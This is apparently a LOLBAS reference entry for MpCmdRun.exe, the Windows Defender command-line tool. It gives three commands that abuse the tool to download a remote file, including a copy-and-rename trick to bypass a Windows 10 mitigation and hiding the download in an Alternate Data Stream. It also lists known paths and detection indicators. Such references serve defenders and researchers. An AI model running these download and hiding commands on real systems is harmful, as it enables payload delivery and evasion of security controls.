MpCmdRun.exe · LOLBAS

01 / TRADECRAFT

Command reference

3 examples

Download2

EXAMPLE 01T1105

Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

COMMAND

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}

USE CASE: Download file
PRIVILEGES: User
OPERATING SYSTEM: Windows 10

EXAMPLE 02T1105

Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.

COMMAND

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe

USE CASE: Download file
PRIVILEGES: User
OPERATING SYSTEM: Windows 10

ADS1

EXAMPLE 01T1564.004

Download file to machine and store it in Alternate Data Stream

COMMAND

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe

USE CASE: Hide downloaded data into an Alternate Data Stream
PRIVILEGES: User
OPERATING SYSTEM: Windows 10

02 / ON DISK

Known paths

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

C:\Program Files\Windows Defender\MpCmdRun.exe

C:\Program Files (x86)\Windows Defender\MpCmdRun.exe

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23110.3-0\X86\MpCmdRun.exe

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

Indicators & detection notes

IOC
MpCmdRun storing data into alternate data streams.
IOC
MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
IOC
Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
IOC
Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
IOC
User Agent is "MpCommunication"

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Askar@mohammadaskar2

Oddvar Moe@oddvarmoe

RichRumble

Cedric@th3c3dr1c